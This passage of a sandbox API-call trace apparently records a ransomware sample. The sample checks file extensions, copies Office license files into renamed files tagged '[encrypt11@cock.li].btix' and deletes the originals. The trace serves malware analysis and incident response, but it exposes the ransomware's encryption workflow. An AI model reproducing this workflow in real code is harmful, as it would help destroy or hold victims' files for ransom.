(lpString1=".rar", lpString2="m-ms") returned -1 [0142.323] lstrlenW (lpString=".bz2") returned 4 [0142.323] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.323] lstrlenW (lpString=".7z") returned 3 [0142.323] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0142.323] lstrlenW (lpString=".dbf") returned 4 [0142.323] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0142.323] lstrlenW (lpString=".1cd") returned 4 [0142.323] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0142.323] lstrlenW (lpString=".jpg") returned 4 [0142.323] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.323] lstrcmpiW (lpString1=".xrm-ms", lpString2=".btix") returned 1 [0142.323] lstrlenW (lpString="AccessR_Trial-ul-oob.xrm-ms") returned 27 [0142.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0142.324] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=11591) returned 1 [0142.324] CloseHandle (hObject=0x560) returned 1 [0142.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms")) returned 0x220 [0142.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0142.325] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.325] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0142.483] GetLastError () returned 0x0 [0142.483] ReadFile (in: hFile=0x560, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x2d47, lpOverlapped=0x0) returned 1 [0142.516] WriteFile (in: hFile=0x38c, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0142.517] ReadFile (in: hFile=0x560, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0142.517] WriteFile (in: hFile=0x38c, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x10a, lpOverlapped=0x0) returned 1 [0142.517] SetEndOfFile (hFile=0x38c) returned 1 [0142.517] CloseHandle (hObject=0x38c) returned 1 [0142.518] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.518] SetEndOfFile (hFile=0x560) returned 1 [0142.521] CloseHandle (hObject=0x560) returned 1 [0142.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.521] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms")) returned 1 [0142.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0142.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0142.522] lstrlenW (lpString=".doc") returned 4 [0142.522] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.522] lstrlenW (lpString=".docx") returned 5 [0142.522] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.522] lstrlenW (lpString=".pdf") returned 4 [0142.522] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.522] lstrlenW (lpString=".xls") returned 4 [0142.522] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.522] lstrlenW (lpString=".xlsx") returned 5 [0142.522] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.523] lstrlenW (lpString=".ppt") returned 4 [0142.523] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0142.523] lstrlenW (lpString=".zip") returned 4 [0142.523] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.523] lstrlenW (lpString=".rar") returned 4 [0142.523] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.523] lstrlenW (lpString=".bz2") returned 4 [0142.523] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.523] lstrlenW (lpString=".7z") returned 3 [0142.523] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0142.523] lstrlenW (lpString=".dbf") returned 4 [0142.523] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0142.523] lstrlenW (lpString=".1cd") returned 4 [0142.523] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0142.523] lstrlenW (lpString=".jpg") returned 4 [0142.523] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0142.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0142.523] lstrlenW (lpString=".doc") returned 4 [0142.523] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.523] lstrlenW (lpString=".docx") returned 5 [0142.523] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.524] lstrlenW (lpString=".pdf") returned 4 [0142.524] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.524] lstrlenW (lpString=".xls") returned 4 [0142.524] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.524] lstrlenW (lpString=".xlsx") returned 5 [0142.524] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.524] lstrlenW (lpString=".ppt") returned 4 [0142.524] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0142.524] lstrlenW (lpString=".zip") returned 4 [0142.524] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.524] lstrlenW (lpString=".rar") returned 4 [0142.524] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.524] lstrlenW (lpString=".bz2") returned 4 [0142.524] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.524] lstrlenW (lpString=".7z") returned 3 [0142.524] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0142.524] lstrlenW (lpString=".dbf") returned 4 [0142.524] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0142.524] lstrlenW (lpString=".1cd") returned 4 [0142.524] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0142.524] lstrlenW (lpString=".jpg") returned 4 [0142.524] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.525] lstrcmpiW (lpString1=".xrm-ms", lpString2=".btix") returned 1 [0142.525] lstrlenW (lpString="AccessVL_MAK-ul-oob.xrm-ms") returned 26 [0142.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0142.525] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=11581) returned 1 [0142.525] CloseHandle (hObject=0x560) returned 1 [0142.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms")) returned 0x220 [0142.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0142.527] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.527] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0142.527] GetLastError () returned 0x0 [0142.527] ReadFile (in: hFile=0x560, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x2d3d, lpOverlapped=0x0) returned 1 [0142.610] WriteFile (in: hFile=0x38c, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0142.611] ReadFile (in: hFile=0x560, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0142.611] WriteFile (in: hFile=0x38c, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x108, lpOverlapped=0x0) returned 1 [0142.611] SetEndOfFile (hFile=0x38c) returned 1 [0142.968] CloseHandle (hObject=0x38c) returned 1 [0142.968] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.968] SetEndOfFile (hFile=0x560) returned 1 [0142.971] CloseHandle (hObject=0x560) returned 1 [0142.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.971] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms")) returned 1 [0142.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0142.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0142.973] lstrlenW (lpString=".doc") returned 4 [0142.973] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.973] lstrlenW (lpString=".docx") returned 5 [0142.973] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.973] lstrlenW (lpString=".pdf") returned 4 [0142.973] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.973] lstrlenW (lpString=".xls") returned 4 [0142.973] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.973] lstrlenW (lpString=".xlsx") returned 5 [0142.974] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.974] lstrlenW (lpString=".ppt") returned 4 [0142.974] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0142.974] lstrlenW (lpString=".zip") returned 4 [0142.974] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.974] lstrlenW (lpString=".rar") returned 4 [0142.974] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.974] lstrlenW (lpString=".bz2") returned 4 [0142.974] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.974] lstrlenW (lpString=".7z") returned 3 [0142.974] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0142.974] lstrlenW (lpString=".dbf") returned 4 [0142.974] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0142.974] lstrlenW (lpString=".1cd") returned 4 [0142.974] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0142.974] lstrlenW (lpString=".jpg") returned 4 [0142.974] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0142.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0142.974] lstrlenW (lpString=".doc") returned 4 [0142.974] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.974] lstrlenW (lpString=".docx") returned 5 [0142.974] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.974] lstrlenW (lpString=".pdf") returned 4 [0142.975] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.975] lstrlenW (lpString=".xls") returned 4 [0142.975] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.975] lstrlenW (lpString=".xlsx") returned 5 [0142.975] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.975] lstrlenW (lpString=".ppt") returned 4 [0142.975] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0142.975] lstrlenW (lpString=".zip") returned 4 [0142.975] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.975] lstrlenW (lpString=".rar") returned 4 [0142.983] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.983] lstrlenW (lpString=".bz2") returned 4 [0142.983] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.983] lstrlenW (lpString=".7z") returned 3 [0142.983] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0142.983] lstrlenW (lpString=".dbf") returned 4 [0142.983] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0142.983] lstrlenW (lpString=".1cd") returned 4 [0142.983] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned 76 [0142.983] lstrlenW (lpString=".jpg") returned 4 [0142.983] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.983] lstrcmpiW (lpString1=".xrm-ms", lpString2=".btix") returned 1 [0142.983] lstrlenW (lpString="ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 29 [0142.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0142.984] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=11582) returned 1 [0142.984] CloseHandle (hObject=0x550) returned 1 [0142.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0142.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0142.985] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.985] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0142.985] GetLastError () returned 0x0 [0142.985] ReadFile (in: hFile=0x550, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x2d3e, lpOverlapped=0x0) returned 1 [0142.998] WriteFile (in: hFile=0x564, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0143.000] ReadFile (in: hFile=0x550, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0143.000] WriteFile (in: hFile=0x564, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x10e, lpOverlapped=0x0) returned 1 [0143.000] SetEndOfFile (hFile=0x564) returned 1 [0143.000] CloseHandle (hObject=0x564) returned 1 [0143.000] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.000] SetEndOfFile (hFile=0x550) returned 1 [0143.002] CloseHandle (hObject=0x550) returned 1 [0143.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0143.003] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms")) returned 1 [0143.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0143.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0143.003] lstrlenW (lpString=".doc") returned 4 [0143.003] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0143.003] lstrlenW (lpString=".docx") returned 5 [0143.003] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0143.003] lstrlenW (lpString=".pdf") returned 4 [0143.003] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0143.003] lstrlenW (lpString=".xls") returned 4 [0143.003] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0143.003] lstrlenW (lpString=".xlsx") returned 5 [0143.003] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0143.003] lstrlenW (lpString=".ppt") returned 4 [0143.003] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0143.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0143.004] lstrlenW (lpString=".zip") returned 4 [0143.004] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0143.004] lstrlenW (lpString=".rar") returned 4 [0143.004] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0143.004] lstrlenW (lpString=".bz2") returned 4 [0143.004] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0143.004] lstrlenW (lpString=".7z") returned 3 [0143.004] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0143.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0143.004] lstrlenW (lpString=".dbf") returned 4 [0143.004] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0143.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0143.004] lstrlenW (lpString=".1cd") returned 4 [0143.004] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0143.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0143.004] lstrlenW (lpString=".jpg") returned 4 [0143.004] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0143.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0143.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0143.004] lstrlenW (lpString=".doc") returned 4 [0143.004] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0143.004] lstrlenW (lpString=".docx") returned 5 [0143.004] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0143.004] lstrlenW (lpString=".pdf") returned 4 [0143.004] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0143.004] lstrlenW (lpString=".xls") returned 4 [0143.005] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0143.005] lstrlenW (lpString=".xlsx") returned 5 [0143.005] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0143.005] lstrlenW (lpString=".ppt") returned 4 [0143.005] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0143.005] lstrlenW (lpString="C:\\Program 